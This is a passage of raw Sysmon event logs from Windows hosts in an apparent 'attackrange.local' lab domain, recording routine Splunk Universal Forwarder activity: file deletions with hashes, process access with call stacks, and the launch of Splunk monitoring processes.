Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E2373E5A0A920302D1B24310AED5262C,SHA256=87A3B87CF037CA381A2910AF46D242194AD089C26EECA8D0193A7E1BB1C4082F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:16.216{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C487FB052893265C8858CE0A3075EA4,SHA256=A61989D10CBECF3EA21CE390E11E24CFEFCE6EEA2D38096B925ED0D9D7C82661,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015433Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:16.124{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8EFA1BC72A55C1F8D03D16E44A67C5C2,SHA256=A2A1106EF71D6F8424122A6041A2F6AFA106C67AB2FB97F1D28D61510C149C88,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:17.388{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-715D-613B-260B-00000000F001}5184C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:17.388{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-715D-613B-260B-00000000F001}5184C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:17.388{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:17.388{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:17.388{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:17.388{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:17.388{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-715D-613B-260B-00000000F001}5184C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:17.389{7BD73061-715D-613B-260B-00000000F001}5184C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:17.326{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=02668AE8CF1D15B5D9E6F6B5DADFE8D3,SHA256=90F07A5125B59CA6284F1F13883D8865F8D6E417B601A4471BF272F58CD84F30,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015434Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:17.124{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B5B50F7AE239814BDC848C017D40C419,SHA256=89005F68A474B7906B82084AA8A1E6C4950F189DF0B2452FE4652CCBAB70CE52,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.826{7BD73061-715E-613B-280B-00000000F001}5765876C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.576{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-715E-613B-280B-00000000F001}576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.576{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.576{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.576{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.576{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.576{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-715E-613B-280B-00000000F001}576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.576{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-715E-613B-280B-00000000F001}576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.576{7BD73061-715E-613B-280B-00000000F001}576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.544{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6766C2F639683A270F4C4486A3C8D4C4,SHA256=6BF5AAE09513E97008AC28E4DB4A8FE0F681F4C0D31390CF6E3F044BA880C4A0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.544{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FCAE785552AE0CF0B48A80062571EF84,SHA256=71D23AEAAC4579343CE6A9A5A5229B98B61C02768F8028DB388C885DB7A541E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.341{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=904948D7DD11E9234CFEA8B0ED4859B1,SHA256=82817047BC20820A3685B8D24CE52D1016C18B96AFC2C9149B0103525D859F87,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015436Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:18.139{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E903CBFF38A87E9B90CD92F3B49C1DA5,SHA256=E1F0F426726A3470DC566E47C4F211E2F60ABD6003FAC947C8E61B8F894077B5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.216{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.060{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-715E-613B-270B-00000000F001}6896C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.060{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.060{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.060{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.060{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.060{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-715E-613B-270B-00000000F001}6896C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.060{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-715E-613B-270B-00000000F001}6896C:\Program 